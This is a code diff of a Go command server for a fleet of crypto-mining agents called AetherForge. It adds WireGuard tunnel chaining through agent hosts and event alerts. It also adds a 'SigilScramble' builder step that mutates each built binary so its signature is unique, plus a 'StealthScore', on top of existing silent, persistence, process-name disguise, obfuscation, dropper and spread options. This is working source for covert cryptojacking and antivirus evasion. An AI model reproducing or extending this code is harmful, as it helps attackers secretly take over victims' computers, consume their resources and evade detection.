results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
continue
}
go func() {
select {
case payload := <-ch:
msgStr, _ := payload["message"].(string)
// message is JSON-encoded WGSetupResult
var res struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
Error string `json:"error"`
}
if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
return
}
if res.Error != "" {
results <- setupResp{hop: hop, err: res.Error}
return
}
p := res.ExternalPort
if p == 0 {
p = 51820
}
// If UPnP failed, fall back to the IP the server saw.
ip := res.ExternalIP
if ip == "" {
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
ip = hop.ExternalIP // pre-filled below
}
}
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
case <-time.After(20 * time.Second):
results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
}
}()
}
// Collect Phase 1 results.
for range sess.Hops {
r := <-results
h.mu.Lock()
if r.err != "" {
r.hop.Status = HopFailed
r.hop.Error = r.err
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
} else {
r.hop.PublicKey = r.pub
r.hop.ExternalIP = r.ip
r.hop.Port = r.port
r.hop.Status = HopReady
}
h.mu.Unlock()
}
// If any hop failed at setup, abort.
h.mu.Lock()
anyFailed := false
for _, hop := range sess.Hops {
if hop.Status == HopFailed {
anyFailed = true
break
}
}
h.mu.Unlock()
if anyFailed {
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
return
}
// Phase 2: send wg_configure to each hop.
// Build per-hop configs:
// - Last hop: peer = none (it's the exit), just IP forwarding
// - Middle hops: peer = next hop
// - First hop: peer = next hop, or none if single-hop (client connects directly)
//
// The CLIENT config always points to the FIRST hop.
type cfgResp struct {
hop *HopInfo
err string
}
cfgResults := make(chan cfgResp, len(sess.Hops))
for i, hop := range sess.Hops {
hop := hop
i := i
payload := map[string]interface{}{
"session_id": sess.ID,
"private_key": "", // agent uses its own generated key
"local_address": hop.LocalAddr,
"listen_port": hop.Port,
"enable_ip_forwarding": true,
}
// Peers for this hop: only for relay hops (all except the exit/last hop).
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
payload["peers"] = []map[string]interface{}{
{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
},
}
} else {
payload["peers"] = []map[string]interface{}{}
}
dataJSON, _ := json.Marshal(payload)
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure",
"data": string(dataJSON),
}),
})
go func() {
select {
case p := <-ch:
success, _ := p["success"].(bool)
if !success {
msg, _ := p["message"].(string)
cfgResults <- cfgResp{hop: hop, err: msg}
return
}
cfgResults <- cfgResp{hop: hop}
case <-time.After(60 * time.Second):
cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
}
}()
}
for range sess.Hops {
r := <-cfgResults
h.mu.Lock()
if r.err != "" {
r.hop.Status = HopFailed
r.hop.Error = r.err
if sess.Error == "" {
sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
}
}
h.mu.Unlock()
}
h.mu.Lock()
allReady := true
for _, hop := range sess.Hops {
if hop.Status != HopReady {
allReady = false
}
}
if allReady {
sess.Ready = true
}
h.mu.Unlock()
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
// buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
h.mu.Lock()
defer h.mu.Unlock()
var sb strings.Builder
sb.WriteString("[Interface]\n")
sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
sb.WriteString("Address = 10.66.0.1/24\n")
sb.WriteString("DNS = 1.1.1.1\n\n")
// Phone always connects to the first hop.
first := sess.Hops[0]
sb.WriteString("[Peer]\n")
sb.WriteString("PublicKey = " + first.PublicKey + "\n")
sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
sb.WriteString("PersistentKeepalive = 25\n")
return sb.String()
}
// ── helpers ───────────────────────────────────────────────────────────────────
func (h *PathTracerHandler) getSession(id string) *TraceSession {
h.mu.Lock()
defer h.mu.Unlock()
return h.sessions[id]
}
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agents[id]
}
func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
var priv [32]byte
if _, err = rand.Read(priv[:]); err != nil {
return
}
priv[0] &= 248
priv[31] &= 127
priv[31] |= 64
var pub [32]byte
curve25519.ScalarBaseMult(&pub, &priv)
privB64 = base64.StdEncoding.EncodeToString(priv[:])
pubB64 = base64.StdEncoding.EncodeToString(pub[:])
return
}

View File

@@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
if len(serverVersion) > 0 && serverVersion[0] != "" {
version = serverVersion[0]
}
r := chi.NewRouter()
// Middleware (global)
@@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
r.Get("/server/ready", h.ServerReady)
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
override := ""
if publicURLOverride != nil {
@@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Fleet ops
if fleetHandler != nil {
r.Get("/alerts", fleetHandler.GetAlerts)
r.Post("/alerts/test", fleetHandler.PostAlertTest)
r.Get("/pools/status", fleetHandler.GetPoolStatus)
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
@@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup — authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)

View File

@@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
@@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)

View File

@@ -2,8 +2,10 @@ package api
import (
"crypto/subtle"
"database/sql"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log"
"net/http"
@@ -11,6 +13,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
return d.Conn.WriteControl(messageType, data, deadline)
}
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
@@ -115,7 +121,13 @@ type WSHub struct {
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
}
func NewWSHub(database *db.Database) *WSHub {
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
}
h := &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pingIntervalSec: 30,
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
pingIntervalSec: 30,
}
// Background stale-agent sweep: if an agent's last_seen is more than
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
h.mu.Lock()
h.eventNotifier = n
h.mu.Unlock()
}
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
return len(h.agents)
}
// AwaitCommandResult registers a one-shot channel that will receive the next
// command_result payload for the given agentID+action pair. Call before
// sending the command so no result is missed. The caller must read from the
// returned channel within the given timeout.
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
ch := make(chan map[string]interface{}, 1)
h.pendingCmdMu.Lock()
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
h.pendingCmdMu.Unlock()
return ch
}
// CancelAwait removes a pending callback without consuming it.
func (h *WSHub) CancelAwait(agentID, action string) {
h.pendingCmdMu.Lock()
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
h.pendingCmdMu.Unlock()
}
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
h.pendingCmdMu.Lock()
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
if ok {
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
}
h.pendingCmdMu.Unlock()
if ok {
select {
case ch <- payload:
default:
}
}
}
func (h *WSHub) isAgentConnected(agentID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP = clientIP[:idx]
}
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
agent := &models.Agent{
ID: agentID,
Name: displayName,
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Payload: mustMarshal(agent),
})
if h.eventNotifier != nil {
platform := auth.Platform
if platform == "" {
platform = "unknown"
}
if isNewAgent {
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
} else if alreadyConnected {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" took over an active session ("+clientIP+")")
} else if prior != nil && prior.Status != "online" {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" is back online ("+platform+" · "+clientIP+")")
}
}
case "stats":
if agentID == "" {
continue
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
broadcast := map[string]interface{}{
"agent_id": agentID,
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
}
}
}
}

View File

@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
return BuildResponse{
Success: true,
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
return BuildResponse{
Success: true,

View File

@@ -15,6 +15,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
@@ -36,6 +37,7 @@ type BuildRequest struct {
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
@@ -80,6 +82,7 @@ type BuildRequest struct {
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SigilScramble bool `json:"sigil_scramble"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
@@ -126,6 +129,9 @@ type BuildResponse struct {
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -155,7 +161,8 @@ type Handler struct {
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
fleetSecret string // injected from server config; baked into every forge output
eventNotifier *alerts.Notifier
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
h.eventNotifier = n
}
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
if h.eventNotifier == nil {
return
}
sizeMB := float64(sizeBytes) / 1024 / 1024
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
}
}
scrambled := false
fingerprint := ""
if shouldSigilScramble(req) {
fp, err := ApplySigilScramble(finalPath, buildID)
if err != nil {
log.Printf("[Forge] sigil scramble: %v", err)
} else {
scrambled = true
fingerprint = fp
if exportPath != "" && exportPath != finalPath {
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
_ = fp2
}
}
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
resp := BuildResponse{
Success: true,
BuildID: buildID,
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
SigilScramble: scrambled,
BinaryFingerprint: fingerprint,
StealthScore: StealthScore(obfuscated, scrambled, signed),
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
req.MaxMemoryPct = 85
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.RunAs == "" {
req.RunAs = "user"
}
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
req.HostBinaryTarget = "ssh"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
req.MaxCPUUsagePct = 95
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
req.MinFreeRAMMB = 512
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
req.ProcessName,
buildID,

View File

@@ -0,0 +1,120 @@
package builder
import (
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"fmt"
"hash/fnv"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
const sigilOverlayMagic = "AFSC\x01"
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
if path == "" {
return "", fmt.Errorf("empty path")
}
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
if len(data) == 0 {
return "", fmt.Errorf("empty binary")
}
seed := strings.TrimSpace(buildID)
if seed == "" {
seed = fmt.Sprintf("%d", time.Now().UnixNano())
}
rng := scrambleRNG(seed)
if isPEExecutable(path, data) {
data = patchPETimestamp(data, rng)
}
overlay := buildSigilOverlay(seed, rng)
data = append(data, overlay...)
if err := os.WriteFile(path, data, 0755); err != nil {
return "", err
}
sum := sha256.Sum256(data)
fingerprint = hex.EncodeToString(sum[:8])
return fingerprint, nil
}
func isPEExecutable(path string, data []byte) bool {
if !strings.EqualFold(filepath.Ext(path), ".exe") {
return false
}
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
}
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
out := make([]byte, len(data))
copy(out, data)
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
if peOff < 0 || peOff+8 > len(out) {
return out
}
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
return out
}
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
return out
}
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
padLen := 8192 + rng.Intn(57344)
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
copy(buf, sigilOverlayMagic)
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
off := len(sigilOverlayMagic) + 1 + len(seed)
for i := 0; i < padLen; i++ {
buf[off+i] = byte(rng.Intn(256))
}
return buf
}
func scrambleRNG(seed string) *rand.Rand {
h := fnv.New64a()
_, _ = io.WriteString(h, seed)
return rand.New(rand.NewSource(int64(h.Sum64())))
}
// StealthScore estimates how many uniqueness layers were applied (0100).
func StealthScore(obfuscated, scrambled, signed bool) int {
score := 35 // polymorph is always injected at compile time
if obfuscated {
score += 30
}
if scrambled {
score += 20
}
if signed {
score += 15
}
if score > 100 {
return 100
}
return score
}
func shouldSigilScramble(req *BuildRequest) bool {
if req.SigilScramble {
return true
}
return false
}

View File

@@ -0,0 +1,41 @@
package builder
import (
"os"
"path/filepath"
"testing"
)
func TestApplySigilScrambleChangesFile(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "worker.exe")
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
if err := os.WriteFile(path, orig, 0755); err != nil {
t.Fatal(err)
}
fp1, err := ApplySigilScramble(path, "build-a")
if err != nil {
t.Fatal(err)
}
st1, _ := os.Stat(path)
fp2, err := ApplySigilScramble(path, "build-b")
if err != nil {
t.Fatal(err)
}
st2, _ := os.Stat(path)
if st1.Size() == st2.Size() && fp1 == fp2 {
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
}
}
func TestStealthScore(t *testing.T) {
if StealthScore(true, true, true) < 90 {
t.Fatal("expected high score")
}
if StealthScore(false, false, false) != 35 {
t.Fatalf("got %d", StealthScore(false, false, false))
}
}

View File

@@ -126,6 +126,10 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
return nil
}
@@ -164,6 +168,14 @@ func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate
return err
}
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
_, err := d.Exec(
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
hashrate, model, boolToInt(active), agentID,
)
return err
}
func (d *Database) SetAgentOffline(id string) error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
return err
@@ -276,13 +288,16 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
// Hashrate operations
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
_, err := d.Exec(
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
agentID, hashrate, gpuHashrate, time.Now(),
)
return err
}
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, agentID, limit)
if err != nil {
return nil, err
@@ -292,7 +307,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
var samples []*models.HashrateSample
for rows.Next() {
s := &models.HashrateSample{}
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
return nil, err
}
samples = append(samples, s)
@@ -427,13 +442,14 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
// Stats
type FleetStats struct {
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
}
func (d *Database) GetFleetStats() (*FleetStats, error) {
@@ -454,6 +470,11 @@ func (d *Database) GetFleetStats() (*FleetStats, error) {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
if err != nil {
return nil, err

View File

@@ -193,10 +193,10 @@ func TestHashrateSampleHistory(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "hr-agent")
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
if err := d.InsertHashrateSample("hr-agent", 150.5, 0); err != nil {
t.Fatal(err)
}
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
if err := d.InsertHashrateSample("hr-agent", 200.0, 10.0); err != nil {
t.Fatal(err)
}

View File

@@ -117,10 +117,11 @@ type Share struct {
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
GPUHashrate float64 `json:"gpu_hashrate,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {

View File

@@ -195,6 +195,12 @@ func main() {
}
}()
eventNotifier := alerts.NewNotifier(func() alerts.Settings {
return cfg.AlertSettings()
})
wsHub.SetEventNotifier(eventNotifier)
builderHandler.SetEventNotifier(eventNotifier)
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{
@@ -202,19 +208,8 @@ func main() {
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
}
}, func() alerts.NotifyConfig {
// Read live from cfg so Calibrate changes take effect without restart.
return alerts.NotifyConfig{
TelegramBotToken: cfg.Alerts.TelegramBotToken,
TelegramChatID: cfg.Alerts.TelegramChatID,
EmailEnabled: cfg.Alerts.EmailEnabled,
